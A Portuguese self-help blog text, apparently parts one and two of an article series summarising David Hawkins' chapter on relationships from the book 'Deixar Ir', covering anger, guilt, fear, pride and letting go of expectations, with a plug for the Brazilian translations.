O segundo é achar que o medo que nos protege. Não é. Lembre-se: “o medo é uma ilusão”. Todo sentimento negativo é uma ilusão, e literalmente, nos enfraquece. Além de nos aproximar daquilo que mais tememos, porque ficamos mantendo isso em mente. Esses sentimentos negativos também nos afastam daquilo que desejamos, porque as pessoas sentem que temos interesses ocultos ao nos relacionarmos com elas. 

Quando é o Amor que nos move, podemos mover montanhas em nossos relacionamentos, mas quando são sentimentos de ‘picuinha’ só vamos fazer ações de mau grado. Vamos sair de relações ganha-perde, que geram ódio e rancor, para relações ganha-ganha, que trazem a verdadeira felicidade.

Eventualmente, quando rancor surgir pense: “é realmente assim que eu gostaria de passar o dia de hoje? E se hoje for o último dia da minha vida?” Permita-se criar para você uma nova vida sem aquele velho rancor, sem conflito e sem medo.

Sentimentos Positivos

Ao rendermos os sentimentos negativos, naturalmente surgem os positivos. Vem a coragem de fazer aquilo que estávamos com medo, a disposição em fazer aquilo que estávamos com preguiça e por aí vai. Chegamos em um estado de “Eu consigo!”.

Naturalmente, a reação de todos ao nosso redor também muda, seja com uma colega de trabalho, com algum conhecido, amigo ou cônjuge, isso reflete em todas as áreas da nossa vida. As coisas acontecem sem grandes dificuldades. Há um “sentimento de sintonia”, uma compreensão verdadeira e uma alegria.

Conectividade

Ao buscar nossa evolução pessoal e chegar em um estado de paz, serenidade, simplicidade, nos sentimos mais conectados com os outros, há uma sensação mútua de estarmos em comunhão. Os outros podem vivenciar uma consciência aumentada de quem realmente são, só por estarem na presença de alguém assim, que não está mantendo nenhuma negatividade. 

Os frutos são deliciosos, é um compartilhar da paz, da tranquilidade e da alegria, sem rancor e sem rusgas! É um relacionamento sem barreiras, no qual, às vezes, até se sabe, conscientemente, o que o outro está pensando, mesmo sem ter muita intimidade. É um reflexo da aceitação mútua, onde os dois envolvidos aceitam a sua humanidade e a do outro.

Efeito dos Sentimentos Positivos

Há uma lei da consciência que é implacável: semelhante atrai semelhante. Nossos sentimentos são energia, assim sendo, somos como estações de envio e recebimento. Quanto mais amorosos nos tornamos, mais Amor se torna disponível para nós. As nossas relações vão se transformando e se reciclando e quando menos esperarmos, estaremos cercados de Amor. Esse subsistir do sentimento negativo por um maior é um verdadeiro milagre na vida de qualquer individuo. As coisas são muito mais conectadas do que podemos observar com a nossa mente linear, Carl Jung tentou nos explicar isso através do fenômeno chamado “sincronicidade”.

Deixando Ir as Expectativas

Todos nós escutamos que você “colhe o que planta”, mas isso se torna distante porque muitas vezes há uma demora entre um acontecimento e outro. No entanto, quando a gente usa a técnica do Deixar Ir é possível observar isso, muitas vezes em tempo real. Vamos citar alguns exemplos adiante, mas antes vamos treinar nossa observação.

Os frutos que colhemos são sempre reflexo das nossas intenções. Observe que sempre que tentamos forçar o outro a mudar, ele resiste. Quanto mais forçamos, mais resistência. Não se iluda se a pessoa ceder e mudar por um ato de força que foi feito. Quando não há aceitação interna, não é possível ter um resultado duradouro. 

A chave é reconhecer que não é o desejo que nos leva onde queremos e nem a raiva nem o medo que vão nos proteger. Ao contrário do que imaginamos, as expectativas bloqueiam o resultado que desejamos. 

Aqui, o exercício é o oposto da parte 1 desse artigo, é refletir sobre o melhor cenário possível. A partir daí, também render o medo de não acontecer e a expectativa de que aconteça. A frustração surge de querer que aconteça AGORA. Mas quando as expectativas são rendidas não há mais uma pressão de “quando será que vai acontecer?”. Isso reflete em paciência e observe que as pessoas pacientes normalmente conseguem o que querem. 

Conclusão

Conforme rendemos os sentimentos negativos, inesperadamente chegamos exatamente no resultado que a gente queria. Nesse capítulo sobre relacionamentos, o dr. Hawkins relata o caso de um processo judicial trabalhista que foi cancelado ao empregador render a raiva do funcionário (com uma diferença de 2 minuto no relógio!), o caso de um casal se divorciando que estava brigando por um objeto e após o homem render seu desejo a mulher ligou e ofereceu o objeto (além de oferecer embalar e enviar) e o caso de um amigo que emprestou 200 dólares ao outro e só recebeu o dinheiro de volta depois de deixar ir o ressentimento que estava guardando sobre isso (o amigo não tocou no assunto durante um ano). Quando algo não flui, e olhamos nossos sentimentos e pensamentos sobre isso, a reação do outro é óbvia. Era só um reflexo do que a gente estava sentindo. 

“Se ainda mantiver a fantasia de que a outra pessoa não sabe dos seus pensamentos e sentimentos apenas saiba que os cães rapidamente percebem! Realmente achamos que a psique humana é inferior à de um cachorro? Se um cão rapidamente lê a nossa atitude interna completamente, podemos ter certeza de que a intuição das pessoas ao nosso redor está pegando a mesma vibração.”

O render dos sentimentos não é um ato de manipulação para se conseguir o que quer, é, na verdade, um ato de Amor a si mesmo e ao outro. Observe que o importante é o desapego com o resultado, se não acontecer nada, como muitas vezes não acontece, está tudo bem. A pessoa já não fica chateada em não ter aquele resultado e é justamente por isso que flui. A pessoa sai de um desejo egoísta para aceitar a Vontade de Deus, aquilo que é o melhor para o contexto.

Todos sabem o que está na sua mente

De agora em diante, imagine que todos sabem exatamente o que está se passando na sua mente enquanto você lida com eles. Vai ser desafiador, mas certamente divertido, quase como um filme de comédia. Além de trazer uma enorme oportunidade de purificar seus sentimentos e, consequente, aumentar usa energia e felicidade. Mas isso só é possível se você não reprimir seus sentimentos, nem tentar controlar seus pensamentos. Respeite a si mesmo! E assim, você aprende a respeitar aos outros.

Não reprima sentimentos negativos fazendo aquilo ressoar em você mesmo e sugar sua energia. Se permita observar a si mesmo e deixar ir aquilo que não serve ao Amor. 

Vamos juntos nessa jornada!

Não perca nada! Essa é só a segunda parte do artigo

Para ler a primeira parte desse artigo sobre Relacionamentos, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Relacionamentos: um guia Prático e Amoroso das Interações Sociais (Parte 1)

Uma pessoa tem uma dedicação exemplar no trabalho. Mas no fundo, não concorda com algumas atitudes do chefe, não tem bons relacionamentos com ninguém, acha alguns colegas de trabalho irritantes, e na sua mente várias coisas passam o tempo todo daquilo que não está bom. Ela só sorri e segue fazendo o que pode. Até que um dia é surpreendida pelo fato que perdeu a promoção que foi oferecida no trabalho. E não sabe o porquê.

Há uma inocência da nossa parte em acreditar que os nossos pensamentos estão só na nossa cabeça, que ninguém consegue perceber o que realmente sentimos e que isso não vai influenciar em nada o contexto. É claro que o chefe conseguia sentir o ressentimento daquela pessoa, mesmo que ele por sua vez também não expressasse nada. Mas algo lhe dizia que “alguma coisa está errada”, mesmo que essa pessoa negue ao perguntarem isso para ela. É esse o exemplo que o dr. David Hawkins nos dá no capítulo 18 sobre Relacionamentos, do livro “Deixar Ir – O Caminho do Desapego”, sobre o qual vamos tratar aqui nesse artigo.

“Quase todo mundo é levado a acreditar que nossos pensamentos e sentimentos são assuntos privados e não são da conta de ninguém, que todas as mentes são separadas e que todas as emoções acontecem apenas dentro dos confins do corpo. (…) Conforme nos tornamos mais intuitivos, iremos rir da nossa ingenuidade até então.”

Aprendendo a assumir a responsabilidade

Quando a gente aprende a lidar com os ressentimentos pela gente mesmo, sem esperar que o outro mude, sem ficar repetindo diálogos, e por vezes até montando diálogos em nossa mente, tudo muda. Não existe relação boa ou ruim, todos os relacionamentos trazem à tona nossos sentimentos mais íntimos, por estarem conectados aos nossos desejos básicos por amor e segurança. Sendo assim, quando estamos em busca de emancipação emocional, todas as relações são valiosas para o nosso aprendizado. É um constante render de sentimentos negativos, sentimentos os quais não seriam observados sem essas relações. 

“Quando os sentimentos internos são rendidos, a forma como vemos a situação muda, e frequentemente somos surpreendidos pela brusquidão com a qual os sentimentos de perdão repentinamente surgem e o relacionamento se transforma, mesmo que a nível exterior não tenhamos feito ou dito nada.”

Não acredite no que está escrito aqui. Teste você mesmo essa teoria de que as pessoas sabem o que está se passando na sua cabeça o tempo todo. Veja o que está na sua cabeça e como elas estão te tratando. Quando observar que há um sentimento negativo em relação ao outro, ao invés de resolver fora de si mesmo, buscando mudar uma atitude do outro, se volte para si. Observe seus sentimentos e deixe-os ir. Aqui, vamos falar dos principais sentimentos negativos que ocorrem nos relacionamentos, e como lidar com cada um deles, assim como o dr. Hawkins nos ensinou.

Raiva

A gente tem uma esperança secreta de que a nossa raiva vai punir os outros e fazê-los sofrer, mas na verdade, tudo o que faz é dar uma justificativa para que essas pessoas possam nos odiar de volta. A verdade é que sentir raiva só prejudica a nós mesmos, e nos coloca num ciclo de raiva, já que o outro provavelmente vai nos responder com mais raiva. É como querer apagar fogo com fogo. Isso gera grande sofrimento. Qual seria então a água que vai acabar com esse fogo? É o Amor. Ao sair desse padrão mais baixo (a raiva) e mudar para um padrão energético mais alto (o Amor), deixamos de ser psiquicamente vulneráveis as outras pessoas.

“Existe uma base científica interessante para a advertência de Jesus de abençoar e amar os nossos inimigos. (…) Quando estamos em um estado de raiva, por exemplo, estamos vulneráveis ao esgotamento de energia trazido pela raiva da outra pessoa. Paradoxalmente, se realmente queremos afetar os outros devemos apenas dar-lhes amor. Então suas raivas vão se voltar contra elas mesmas sem nenhum efeito sobre nós! Esta foi a sabedoria da declaração de Buda no Dhammapada: “O ódio não é conquistado com o ódio. O ódio é conquistado com amor. Essa é uma lei eterna”.”

Culpa

O objetivo aqui é diminuir o outro. Há um desejo oculto de que o outro seja punido, junto com uma autopunição por estarmos no meio disso tudo. É tudo uma projeção inconsciente. Observe que quando a gente se sente culpado por determinado assunto, inevitavelmente seremos “alfinetados” por isso, mais cedo ou mais tarde. Quando não queremos mais que os outros nos critiquem, a solução é Deixar Ir a culpa e todos os outros sentimentos negativos que costumam surgir junto com ela.

“Se mantivermos em mente que somos pequenos e sem valor, extraímos esse tipo de resposta dos outros, cujas observações tendem a indicar que somos pequenos e sem valor. Se pensar que só merecemos o pedaço de um pão, isso é o que teremos. Isso é o que as escrituras quiseram dizer com a declaração “o pobre fica mais pobre e o rico fica mais rico”. Pobreza em qualquer nível, não apenas financeiro, vem da pobreza interna.”

Tristeza e apatia

Esses sentimentos de tristeza e apatia, que nos deixam deprimidos, desesperançosos e cheios de mágoas, vem de uma programação interna de “eu não consigo”. E com isso, a gente espera que esses sentimentos gerem pena nos outros, buscamos que sejam simpáticos com a gente e que a gente possa, assim, ser ajudado. Esse sentimento de pena, até gera uma ajuda inicial. Mas há uma demanda de energia tão grande que o outro tem que nos dar que ele simplesmente vai acabar se afastando. 

Só podemos superar esse estado com a coragem de permitir que essas emoções surjam nas condições adequadas para podermos deixá-las ir. 

“Isso resulta no ditado comum, que soa duro ao coração, mas infelizmente é verdadeiro em muitos casos: “Quando você ri, o mundo ri com você, mas quando você chora, chora sozinho.”.”

Medo

O objetivo do medo nos relacionamentos é possuir a outra pessoa e puni-la pelos nossos próprios medos de perda. A outra pessoa, sentindo essa pressão, tem a vontade de se afastar. Ao contrário do que pensamos popularmente, o medo não nos protege, ele nos aproxima do que mais tememos. É por manter essa insegurança e esse medo em mente que a gente acaba atraindo justamente esse tipo de situação para nossa vida. A saída aqui é renunciar ao nosso desejo interno de controlar os outros, deixando ir os nossos medos, conforme eles surgem. 

“Medo em relacionamento, portanto, é dar o nosso poder para outra pessoa e permitir que ela faça o que tememos. A saída é olhar para o pior cenário possível e para os sentimentos que o despertam e começar a rendê-los. Como outras emoções, o medo pode ser desmembrado em partes, e as partes são facilmente rendidas. Por exemplo, digamos que existe um medo de ataque crítico. Perguntamos para nós mesmos: “Qual é o pior cenário possível?” Com essa dúvida, vemos que a base do medo é o orgulho. Quando o orgulho é reconhecido e rendido, o medo se dissolve automaticamente.”

Orgulho

A esperança secreta que vem com o orgulho é a de ser aceito e admirado pelos outros e melhorar dessa forma seus relacionamentos. O orgulho não é uma emoção positiva, como a sociedade acredita, ele coloca a nossa autoestima em algo temporário e volátil e pode evaporar com uma simples crítica ou um levantar de sobrancelhas. Ele gera um grande esforço, que se manifesta como perfeccionismo, obsessão por limpeza, por trabalho, por ser pontual, ou como polidez e superioridade moral. E ao invés de gerar a aceitação pretendida, os sentimentos que o orgulho gera nas outras pessoas são inveja, competitividade, ódio e fácil exploração.  

Para lidar com o orgulho, o caminho é uma autoestima genuína, que é motivada pela gratidão e humildade interior, sem que haja a necessidade de constantes afagos. Paradoxalmente, é justamente quando paramos de querer que as pessoas gostem de nós, que descobrimos que somos apreciados como somos.

“Falsa humildade apenas diz para a outra pessoa: “Eu sou uma pessoa pequena, por favor me tratem dessa forma” e, é claro, elas prontamente o farão.”

Não perca nada! Essa é só a primeira parte do artigo

Para ler a segunda parte, clique aqui.

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Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

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